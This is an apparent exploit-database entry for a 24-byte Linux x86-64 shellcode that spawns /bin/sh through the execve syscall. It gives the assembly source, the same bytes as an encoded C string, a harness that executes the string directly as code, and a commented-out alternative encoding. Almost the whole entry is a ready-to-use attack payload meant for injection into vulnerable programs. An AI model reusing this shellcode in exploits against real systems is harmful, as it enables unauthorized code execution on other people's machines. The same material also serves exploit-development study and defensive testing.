Linux/x86-64 - Execute /bin/sh Shellcode (24 bytes)



EKU-ID: 7258 CVE: OSVDB-ID:
Author: 0x4ndr3 Published: 2018-01-15 Verified: Verified
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/*
global _start
section .text
_start:
    push 59
    pop rax
    cdq
    push rdx
    mov rbx,0x68732f6e69622f2f
    push rbx
    push rsp
    pop rdi
    push rdx
    push rdi
    push rsp
    pop rsi
    syscall
*/
 
#include <stdio.h>
#include <string.h>
char code[] = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05";
// char code[] = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";
int main()
{
    printf("len:%d bytes\n", strlen(code));
    (*(void(*)()) code)();
    return 0;
}